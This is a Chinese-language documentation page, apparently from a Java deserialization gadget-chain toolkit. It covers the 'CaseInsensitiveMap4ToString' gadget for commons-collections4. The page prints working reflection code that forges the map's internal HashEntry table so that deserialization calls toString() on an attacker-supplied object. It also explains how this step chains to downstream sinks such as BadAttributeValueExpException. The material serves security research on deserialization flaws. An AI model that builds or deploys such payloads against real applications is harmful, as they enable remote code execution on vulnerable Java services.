Skip to content

Latest commit

 

History

History
53 lines (44 loc) · 3.44 KB

File metadata and controls

53 lines (44 loc) · 3.44 KB

CC4.x 调用 toString 方法(CaseInsensitiveMap4ToString)

  • 类别:javanative 别名:— 优先级:未标注(默认)
  • 作者:Unam4、Ar3h
  • 依赖org.apache.commons:commons-collections4:4.x

作用

commons-collections4 版本的「任意 toString 调用」原语:用 AbstractHashedMap$HashEntry + CaseInsensitiveMap 构造一个被 toString() 时会调用内层对象 toString() 的 Map,为链条衔接 toString sink 提供跳板。等价于 CaseInsensitiveMap3ToString 的 CC4 版。

链接标签

  • 入口 tagsJavaNativeDeserialize —— 产物是可原生反序列化的 CaseInsensitiveMap
  • 衔接 nextTagsToString —— 之后接一个由 toString() 触发的 gadget。
  • excludes:无。

源码剖析

public Object getObject(Object toStringObj) throws Exception {
    CaseInsensitiveMap map = new CaseInsensitiveMap();
    map.put("gadget-chains", "1");                                                   // 先放一个正常元素,令 size=1、初始化 data 表
    Class<?> hashEntryClazz = Class.forName("org.apache.commons.collections4.map.AbstractHashedMap$HashEntry");
    Object hashEntry = Reflections.createWithoutConstructor(hashEntryClazz);         // 无构造器造一个空 HashEntry
    Object hashEntryArray = Array.newInstance(hashEntryClazz, 1);
    Array.set(hashEntryArray, 0, hashEntry);
    Reflections.setFieldValue(hashEntry, "key", toStringObj);                        // 关键:把内层对象写进 key 字段
    Reflections.setFieldValue(map, "data", hashEntryArray);                          // 用恶意 data 表替换
    return map;
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    return this.getObject(chain.doCreate(context));
}

逐段说明:

  • 与 CC3 版不同,这里先 new CaseInsensitiveMap()put("gadget-chains","1"),借正常的 putsize 变为 1、data 表被正确初始化,避免手工设置 size
  • createWithoutConstructor 造一个空的 HashEntry,仅反射写入其 key 字段为目标对象(value 保持默认),放进长度为 1 的 HashEntry[]
  • 最后用这个只含恶意节点的数组反射替换 mapdata,覆盖掉刚才的正常元素。
  • 触发点:当外层调用该 map 的 toString() 时,AbstractHashedMap 的 toString 遍历 entry 并拼接 key + "=" + value,其中 key.toString()toStringObj.toString() 被调用,控制权转交下游 sink。

参数(@Param)

本类无 @Param。触发目标对象由链上下文注入。

适用版本与原理要点

  • 适用 commons-collections4 4.xorg.apache.commons:commons-collections4:4.x)。CC4 的包名为 org.apache.commons.collections4.*,与 CC3 独立,二者可共存于不同应用。
  • 反编译头部的 Could not load ... org.apache.commons.collections4.map.CaseInsensitiveMap 注释属正常(构建环境缺该第三方类),不影响逻辑。
  • 与 CC3 版差异:CC4 版只写 key,靠先 put 再覆盖 data 的方式初始化底层结构。

所属预设链

自由构件,未直接出现在 51 条预设链中。

关联

  • 下游(nextTags=ToString):以 toString() 触发的 gadget(XString*XalanXString*BadAttributeValueExpExceptionToString 等)。
  • 同族:CaseInsensitiveMap3ToString(CC3 版本)。